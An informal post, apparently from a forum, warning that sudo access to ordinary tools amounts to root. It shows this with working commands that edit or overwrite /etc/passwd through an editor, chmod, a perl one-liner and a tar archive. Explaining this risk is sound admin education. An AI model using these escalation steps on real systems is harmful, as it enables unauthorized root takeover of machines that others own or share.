don't give anyone "sudoer" access unless they already have full root. in many cases, it's just as dangerous. here's how to give yourself root with different sudo'ed tools:
  • any editor 
    open /etc/passwd and give your user account #0 and save, giving yourself root
access.
  • chmod 
    sudo chmod 0777 /etc/passwd
change your uid and group to 0 in /etc/passwd
  • perl 
    sudo perl -p -i -e'$me=`whoami`;chomp $me;s/\d+/0/g if /$me/;' /etc/passwd
  • sed 
    see "perl"
  • tar 
    mkdir ~/etc
cp /etc/passwd ~/etc/
replace your uid and group with 0 in ~/etc/passwd
tar -cvf etc/1337.tar etc/passwd
cd /
sudo tar -xvf ~/etc/1337.tar
... /etc/passwd is overwritten with your version, and you have root
basically any tool that can send output or modify input can be use to wiggle one's self into root. scary, no?